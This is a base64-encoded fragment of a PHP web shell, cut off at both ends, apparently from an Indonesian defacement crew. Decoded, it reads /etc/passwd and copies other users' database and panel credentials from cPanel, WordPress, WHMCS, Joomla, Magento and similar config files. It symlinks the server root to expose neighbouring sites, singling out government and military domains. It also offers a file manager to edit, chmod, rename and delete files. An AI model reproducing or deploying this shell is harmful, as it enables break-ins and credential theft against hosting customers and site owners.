LyguKj8pLmRiIyIsICRkb21haW5fanVtcCwgJGRvbWFpbnNfanVtcCk7CiAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRkb21haW5zX2p1bXBbMV0gYXMgJGRqKSB7CiAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsKICAgICAgICAgICAgICAgICAgICAgICAkdXNlcl9qdW1waW5nX3VybCA9ICR1c2VyX2p1bXBpbmdfdXJsWyduYW1lJ107CiAgICAgICAgICAgICAgICAgICAgICAgaWYoJHVzZXJfanVtcGluZ191cmwgPT0gJHVzZXJfamVmcmlfanVtcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPT4gKCA8dT4kZGo8L3U+ICk8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICB9CiAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgZWNobyAiPGJyPiI7CiAgICAgICAgICAgfQogICAgICAgfQogICB9Cn0KICAgfQogICBpZigkaSA9PSAwKSB7CiAgIH0gZWxzZSB7CmVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGFkYSAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4iIjsKICAgCiAgIGVjaG8gIjwvZGl2PjwvcHJlPiI7CgkJfQoKLy9DT05GSUcvLy8vLy8vLy8vLwp9IGVsc2VpZigkX0dFVFsnam9tYmxvJ10gPT0gJ2NvbmZpZycpIHsKICAgJGV0YyA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZGllKCI8cHJlPjxmb250IGNvbG9yPSM2NjY+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD48L3ByZT4iKTsKICAgJGlkeCA9IG1rZGlyKCIzWDBSQzFTVF9DT05GSUciLCAwNzc3KTsKICAgJGlzaV9odGMgPSAiT3B0aW9ucyBhbGxcblJlcXVpcmUgTm9uZVxuU2F0aXNmeSBBbnkiOwogICAkaHRjID0gZm9wZW4oIjNYMFJDMVNUX0NPTkZJRy8uaHRhY2Nlc3MiLCJ3Iik7CiAgIGZ3cml0ZSgkaHRjLCAkaXNpX2h0Yyk7CiAgIHdoaWxlKCRwYXNzd2QgPSBmZ2V0cygkZXRjKSkgewppZigkcGFzc3dkID09ICIiIHx8ICEkZXRjKSB7CiAgIGVjaG8gIjxmb250IGNvbG9yPSM2NjY+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD4iOwp9IGVsc2UgewogICBwcmVnX21hdGNoX2FsbCgnLyguKj8pOng6LycsICRwYXNzd2QsICR1c2VyX2NvbmZpZyk7CiAgIGZvcmVhY2goJHVzZXJfY29uZmlnWzFdIGFzICR1c2VyXzNYMFJDMVNUKSB7CiAgICAgICAkdXNlcl9jb25maWdfZGlyID0gIi9ob21lLyR1c2VyXzNYMFJDMVNUL3B1YmxpY19odG1sLyI7CiAgICAgICBpZihpc19yZWFkYWJsZSgkdXNlcl9jb25maWdfZGlyKSkgewogICAgICAgICAgICRncmFiX2NvbmZpZyA9IGFycmF5KAogICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfM1gwUkMxU1QvLm15LmNuZiIgPT4gImNwYW5lbCIsCiAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl8zWDBSQzFTVC8uYWNjZXNzaGFzaCIgPT4gIldITS1hY2Nlc3NoYXNoIiwKICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyXzNYMFJDMVNUL3B1YmxpY19odG1sL3Zkb19jb25maWcucGhwIiA9PiAiVm9vZG9vIiwKICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyXzNYMFJDMVNUL3B1YmxpY19odG1sL2J3LWNvbmZpZ3MvY29uZmlnLmluaSIgPT4gIkJvc1dlYiIsCiAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl8zWDBSQzFTVC9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAiID0+ICJMb2tvbWVkaWEiLAogICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfM1gwUkMxU1QvcHVibGljX2h0bWwvbG9rb21lZGlhL2NvbmZpZy9rb25la3NpLnBocCIgPT4gIkxva29tZWRpYSIsCiAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl8zWDBSQzFTVC9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLAogICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfM1gwUkMxU1QvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLAogICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfM1gwUkMxU1QvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsCiAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl8zWDBSQzFTVC9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwIiA9PiAicGhwQkIiLAogICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfM1gwUkMxU1QvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiID0+ICJEcnVwYWwiLAogICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfM1gwUkMxU1QvcHVibGljX2h0bWwvY29uZmlnL3NldHRpbmdzLmluYy5waHAiID0+ICJQcmVzdGFTaG9wIiwKICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyXzNYMFJDMVNUL3B1YmxpY19odG1sL2FwcC9ldGMvbG9jYWwueG1sIiA9PiAiTWFnZW50byIsCiAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl8zWDBSQzFTVC9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAogICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfM1gwUkMxU1QvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAogICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfM1gwUkMxU1QvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzcyIsCiAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl8zWDBSQzFTVC9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzcyIsCiAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl8zWDBSQzFTVC9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzIiwKICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyXzNYMFJDMVNUL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAiID0+ICJPcGVuQ2FydCIsCiAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl8zWDBSQzFTVC9wdWJsaWNfaHRtbC9zbGNvbmZpZy5waHAiID0+ICJTaXRlbG9rIiwKICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyXzNYMFJDMVNUL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAiID0+ICJFbGxpc2xhYiIpOwogICAgICAgICAgIGZvcmVhY2goJGdyYWJfY29uZmlnIGFzICRjb25maWcgPT4gJG5hbWFfY29uZmlnKSB7CiAgICAgICAgICAgICAgICRhbWJpbF9jb25maWcgPSBmaWxlX2dldF9jb250ZW50cygkY29uZmlnKTsKICAgICAgICAgICAgICAgaWYoJGFtYmlsX2NvbmZpZyA9PSAnJykgewogICAgICAgICAgICAgICB9IGVsc2UgewkKICAgICAgICAgICAgICAgICAgICRmaWxlX2NvbmZpZyA9IGZvcGVuKCIzWDBSQzFTVF9DT05GSUcvJHVzZXJfamVmcmktJG5hbWFfY29uZmlnLnR4dCIsInciKTsKICAgICAgICAgICAgICAgICAgIGZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsKICAgICAgICAgICAgICAgfQogICAgICAgICAgIH0KICAgICAgIH0gICAgICAKICAgfQp9ICAKICAgfQogICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9wYXRoPSRwYXRoLzNYMFJDMVNUX0NPTkZJRyc+PGZvbnQgY29sb3I9IzUyQ0YzOD5TZWxlc2FpITwvZm9udD48L2E+PC9jZW50ZXI+IjsKLy9zeW1saW5rCn0gZWxzZWlmKGlzc2V0KCRfR0VUWydqb21ibG8nXSkgJiYgKCRfR0VUWydqb21ibG8nXSA9PSAnc3ltbGluaycpKSB7CSAKCSBlY2hvICIgPGZvcm0gYWN0aW9uPSBtZXRob2Q9cG9zdD4iOwpAc2V0X3RpbWVfbGltaXQoMCk7CmVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9I0RCREJEQj4iOwpAbWtkaXIoJ3N5bScsMDc3Nyk7IAokaHRhY2Nlc3MgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggc3ltLmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7ICR3cml0ZSA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsgZndyaXRlKCR3cml0ZSAsJGh0YWNjZXNzKTsgQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOyAkZmlsZWxvY2F0aW9uID0gYmFzZW5hbWUoX19GSUxFX18pOyAkcmVhZF9uYW1lZF9jb25mID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOyBpZighJHJlYWRfbmFtZWRfY29uZikgeyBlY2hvICI8YnI+PGJyPjxmb250IGNvbG9yPScjNjY2NjY2Jz5DYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L2ZvbnQ+PC9jZW50ZXI+IjsgfSBlbHNlIHsgZWNobyAiPHRhYmxlIHdpZHRoPSc3MDBweCcgYm9yZGVyPScxJyBjZWxscGFkZGluZz0nMycgY2VsbHNwYWNpbmc9JzAnIGFsaWduPSdjZW50ZXInPjx0ZCBzdHlsZT0nYmFja2dyb3VuZDojNjY2O2NvbG9yOiMwMDA7Jz5Eb21haW48L3RkPjx0ZCBzdHlsZT0nYmFja2dyb3VuZDojNjY2O2NvbG9yOiMwMDA7Jz5Vc2VyczwvdGQ+PHRkIHN0eWxlPSdiYWNrZ3JvdW5kOiM2NjY7Y29sb3I6IzAwMDsnPlN5bWxpbmsgPC90ZD4iOyBmb3JlYWNoKCRyZWFkX25hbWVkX2NvbmYgYXMgJHN1YmplY3QpeyBpZihlcmVnaSgnem9uZScsJHN1YmplY3QpKXsgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRzdWJqZWN0LCRzdHJpbmcpOyBmbHVzaCgpOyBpZihzdHJsZW4odHJpbSgkc3RyaW5nWzFdWzBdKSkgPjIpeyAkVUlEID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRzdHJpbmdbMV1bMF0pKTsgJG5hbWUgPSAkVUlEWyduYW1lJ10gOyBAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7ICRuYW1lID0gJHN0cmluZ1sxXVswXTsgJGlyYW4gPSAnXC5pcic7ICRpc3JhZWwgPSAnXC5pbCc7ICRpbmRvID0gJ1wuaWQnOyAkc2cxMiA9ICdcLnNnJzsgJGVkdSA9ICdcLmVkdSc7ICRnb3YgPSAnXC5nb3YnOyAkZ29zZSA9ICdcLmdvJzsgJGdvYmVyID0gJ1wuZ29iJzsgJG1pbDEgPSAnXC5taWwnOyAkbWlsMiA9ICdcLm1pJzsgaWYgKGVyZWdpKCIkaXJhbiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRpc3JhZWwiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkaW5kbyIsJHN0cmluZ1sxXVswXSlvciBlcmVnaSgiJHNnMTIiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJGVkdSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkZ292Iiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSAoIiRnb3NlIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGdvYmVyIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJG1pbDEiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJG1pbDIiLCRzdHJpbmdbMV1bMF0pKSB7ICRuYW1lID0gIjxmb250IGNvbG9yPSNEMEQ1RDU+Ii4kc3RyaW5nWzFdWzBdLic8L2ZvbnQ+JzsgfSBlY2hvICIgPHRyPiA8dGQ+PGEgdGFyZ2V0PV9ibGFuayBocmVmPWh0dHA6Ly93d3cuIi4kc3RyaW5nWzFdWzBdLicvPicuJG5hbWUuJyA8L2E+ICA8L3RkPiA8dGQgc3R5bGU9Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1MkNGMzg7PiAnLiRVSURbJ25hbWUnXS4iIDwvdGQ+IDx0ZCBzdHlsZT1ib3JkZXItbGVmdDoxcHggc29saWQgd2hpdGU7PiA8YSBocmVmPXN5bS9yb290L2hvbWUvIi4kVUlEWyduYW1lJ10uIi9wdWJsaWNfaHRtbCB0YXJnZXQ9X2JsYW5rPlN5bWxpbmsgPC9hPiA8L3RkPiA8L3RyPiI7IGZsdXNoKCk7IH0gfSB9IH0gZWNobyAiPC9jZW50ZXI+PC90YWJsZT48L2ZvbnQ+IjsgCgovLypTVEFSVCovLwp9IGVsc2VpZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7CmVjaG8gIjx0cj48dGQ+Q3VycmVudCBGaWxlIDogIjsKZWNobyAkX0dFVFsnZmlsZXNyYyddOwplY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOwplY2hvKCcgPGNlbnRlcj48dGV4dGFyZWEgc3R5bGU9IndpZHRoOjY1NXB4O2hlaWdodDozMDBweDsiIHJlYWRvbmx5PiAnLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3RleHRhcmVhPjwvY2VudGVyPicpOwp9ZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSAhPSAnZGVsZXRlJyl7CmVjaG8gJzwvdGFibGU+PGJyIC8+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsKaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsKZWNobyAnPGZvbnQgY29sb3I9IiM1MkNGMzgiPkdhbnRpICBQZXJtaXNzaW9uIEJlcmhhc2lsPC9mb250PjxiciAvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0iIzY2NjY2NiI+R2FudGkgUGVybWlzc2lvbiBHYWdhbDwvZm9udD48YnIgLz4nOwp9Cn0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KUGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwYXRoJ10pKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDaG1vZCIgLz4KPC9mb3JtPic7Cn1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAncmVuYW1lJyl7CmlmKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSl7CmlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsKZWNobyAnPGZvbnQgY29sb3I9IiM1MkNGMzgiPkdhbnRpIE5hbWEgQmVyaGFzaWw8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSIjNjY2NjY2Ij5HYW50aSBOYW1hIEdhZ2FsPC9mb250PjxiciAvPic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgpOYW1hIEJhcnUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVWJhaCBOYW1hIiAvPgo8L2Zvcm0+JzsKfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CmVjaG8gJzxmb250IGNvbG9yPSIjNTJDRjM4Ij5FZGl0IEZpbGUgQmVyaGFzaWw8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSIjYmQyOWZmIj5FZGl0IEZpbGUgR2FnYWw8L2ZvbnQ+PGJyIC8+JzsKfQpmY2xvc2UoJGZwKTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4KPC9mb3JtPic7Cn0KZWNobyAnPC9jZW50ZXI+JzsKfWVsc2V7CmVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpewppZigkX1BPU1RbJ3R5cGUnXSA9PSAnZGlyJyl7CmlmKHJtZGlyKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gJzxmb250IGNvbG9yPSIjNTJDRjM4Ij5IYXB1cyBEaXIgQmVyaGFzaWw8L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSIjNjY2NjY2Ij5IYXB1cyBEaXIgR2FnYWw8L2ZvbnQ+PGJyIC8+JzsKfQp9ZWxzZWlmKCRfUE9TVFsndHlwZSddID09ICdmaWxlJyl7CmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpewplY2hvICc8Zm9udCBjb2xvcj0iIzUyQ0YzOCI+SGFwdXMgRmlsZSBCZXJoYXNpbDwvZm9udD48YnIgLz4nOwp9ZWxzZXsKZWNobyAnPGZvbnQgY29sb3I9IiM2NjY2NjYiPkhhcHVzIEZpbGUgR2FnYWw8L2ZvbnQ+PGJyIC8+JzsKfQp9Cn0KCQkKZWNobyAnPC9jZW50ZXI+JzsKJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDVweCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiIGFsaWduPSJjZW50ZXIiPgo8dHIgY2xhc3M9ImZpcnN0Ij4KPHRoPjxjZW50ZXI+PGZvbnQgY29sb3I9IzAwMCBzaXplPTM+TmFtZTwvZm9udD48L2NlbnRlcj48L3RoPgo8dGg+PGNlbnRlcj48Zm9udCBjb2xvcj0jMDAwIHNpemU9Mz5TaXplPC9mb250PjwvY2VudGVyPjwvdGg+Cjx0aD48Y2VudGVyPjxmb250IGNvbG9yPSMwMDAgc2l6ZT0zPlBlcm1pc3Npb25zPC9mb250PjwvY2VudGVyPjwvdGg+Cjx0aD48Y2VudGVyPjxmb250IGNvbG9yPSMwMDAgc2l6ZT0zPk9wdGlvbnM8L2ZvbnQ+PC9jZW50ZXI+PC90aD4KPC90cj4nOwoKZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAnPHRyPgo8dGQ+PGEgaHJlZj0iP3BhdGg9Jy4kcGF0aC4nLycuJGRpci4nIj4nLiRkaXIuJzwvYT48L3RkPgo8dGQ+PGNlbnRlcj4tLS08L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj4nOwppZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikpIGVjaG8gJzxmb250IGNvbG9yPSIjNTJDRjM4Ij4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9IiNEQkRCREIiPic7CmVjaG8gcGVybXMoJHBhdGguJy8nLiRkaXIpOwppZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikgfHwgIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPC9mb250Pic7CgplY2hvICI8L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CjxzZWxlY3QgbmFtZT1cIm9wdFwiPgo8b3B0aW9uIHZhbHVlPVwiU2VsZWN0XCI+ICA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+Cjwvc2VsZWN0Pgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJkaXJcIj4KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZGlyXCI+CjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJHb1wiIC8+CjwvZm9ybT48L2NlbnRlcj48L3RkPgo8L3RyPiI7Cn0KZWNobyAnPHRyIGNsYXNzPSJmaXJzdCI+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PC90cj4nOwpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOwokc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7CiRzaXplID0gcm91bmQoJHNpemUsMyk7CmlmKCRzaXplID49IDEwMjQpewokc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQsMikuJyBNQic7Cn1lbHNlewokc2l6ZSA9ICRzaXplLicgS0InOwp9CgplY2hvICI8dHI+Cjx0ZD48YSBocmVmPVwiP2ZpbGVzcmM9JHBhdGgvJGZpbGUmcGF0aD0kcGF0aFwiPiRmaWxlPC9hPjwvdGQ+Cjx0ZD48Y2VudGVyPiIuJHNpemUuIjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPiI7CmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0jNTJDRjM4Pic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSNEQkRCREI+JzsKZWNobyBwZXJtcygiJHBhdGgvJGZpbGUiKTsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsKZWNobyAiPC9jZW50ZXI+PC90ZD4KPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPgo8c2VsZWN0IG5hbWU9XCJvcHRcIj4KPG9wdGlvbiB2YWx1ZT1cIlNlbGVjdFwiPiAgPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImZpbGVcIj4KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGZpbGVcIj4KPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkdvXCIgLz4KPC9mb3JtPjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKfQplY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwp9CmVjaG8gJzxiciAvPjxjZW50ZXI+PGZvbnQgc2l6ZT0zIDsgY29sb3I9I0RCREJEQj5Db3B5cmlnaHQgJmNvcHk7IDIwMjAgPGZvbnQgY29sb3I9IiM1MkNGMzgiPk1yLlJtMTk8L2ZvbnQ+PC9jZW50ZXI+Cgo8L2JvZHk+CjwvaHRtbD4nOwpmdW5jdGlvbiBwZXJtcygkZmlsZSl7CiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7CgppZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ci8vIFNvY2tldAokaW5mbyA9ICdzJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgewovLyBTeW1ib2xpYyBMaW5rCiRpbmZvID0gJ2wnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ci8vIFJlZ3VsYXIKJGluZm8gPSAnLSc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsKLy8gQmxvY2sgc3BlY2lhbAokaW5mbyA9ICdiJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgewovLyBEaXJlY3RvcnkKJGluZm8gPSAnZCc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsKLy8gQ2hhcmFjdGVyIHNwZWNpYWwKJGluZm8gPSAnYyc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsKLy8gRklGTyBwaXBlCiRpbmZvID0gJ3AnOwp9IGVsc2UgewovLyBVbmtub3duCiRpbmZvID0gJ3UnOwp9CgovLyBPd25lcgokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwooKCRwZXJtcyAmIDB4MDg